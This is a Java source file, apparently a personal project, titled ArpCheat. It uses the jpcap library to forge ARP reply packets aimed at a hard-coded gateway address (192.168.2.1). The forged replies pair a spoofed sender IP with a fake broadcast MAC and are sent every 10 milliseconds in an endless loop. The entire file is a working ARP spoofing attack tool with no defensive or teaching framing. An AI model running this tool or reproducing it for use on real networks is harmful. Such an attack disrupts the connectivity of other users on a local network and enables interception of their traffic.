package org.zhangsh;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;

import java.net.InetAddress;

/**
 * </p>
 *
 * @author zhangsh
 * @version 1.0.0
 * @since 2019-05-11
 */
public class ArpCheat {

    public static void main(String[] args) throws Exception {

        InetAddress desip = InetAddress.getByName("192.168.2.1");// 被欺骗的目标IP地址
        byte[] desmac = stomac("d8-c8-e9-36-5b-01");// 被欺骗的目标目标MAC数组

//        InetAddress desip = InetAddress.getByName("192.168.2.1");// 被欺骗的目标IP地址
//        byte[] desmac = stomac("d8-c8-e9-36-5b-01");// 被欺骗的目标目标MAC数组

//        InetAddress srcip = InetAddress.getByName("192.168.2.226");// 源IP地址
        InetAddress srcip = InetAddress.getByName("192.168.2.188");// 源IP地址
        byte[] srcmac = stomac("ff-ff-ff-ff-ff-ff"); // 假的MAC数组
        // 枚举网卡并打开设备
        NetworkInterface[] devices = JpcapCaptor.getDeviceList();  //枚举网卡设备

        for(int i=0; i<devices.length; i++){
            System.out.println(devices[i].description);
        }


        NetworkInterface device = devices[0];  //选择网卡设备
        JpcapSender sender = JpcapSender.openDevice(device);  //打开网卡设备
        // 设置ARP包
        ARPPacket arp = new ARPPacket();
        arp.hardtype = ARPPacket.HARDTYPE_ETHER;  //硬件类型
        arp.prototype = ARPPacket.PROTOTYPE_IP;   //协议类型
        arp.operation = ARPPacket.ARP_REPLY;      //操作类型 REPLY 表示类型为应答
        arp.hlen = 6;  //硬件地址长度
        arp.plen = 4;  //协议类型长度
        arp.sender_hardaddr = srcmac;  //发送端MAC地址
        arp.sender_protoaddr = srcip.getAddress(); //发送端IP地址
        arp.target_hardaddr = desmac;  //目标硬件地址
        arp.target_protoaddr = desip.getAddress(); //目标IP地址
        // 定义以太网首部
        EthernetPacket ether = new EthernetPacket();
        ether.frametype = EthernetPacket.ETHERTYPE_ARP;  //设置帧的类型为ARP帧
        ether.src_mac = srcmac;  //源MAC地址
        ether.dst_mac = desmac;  //目标MAC地址
        arp.datalink = ether;  //添加
        // 发送ARP应答包
        while (true) {
            System.out.println("sending arp.." + arp);
            sender.sendPacket(arp);
            Thread.sleep(10);
        }

    }

    private static byte[] stomac(String s) {
        byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
        String[] s1 = s.split("-");
        for (int x = 0; x < s1.length; x++) {
            mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
        }
        return mac;
    }
}
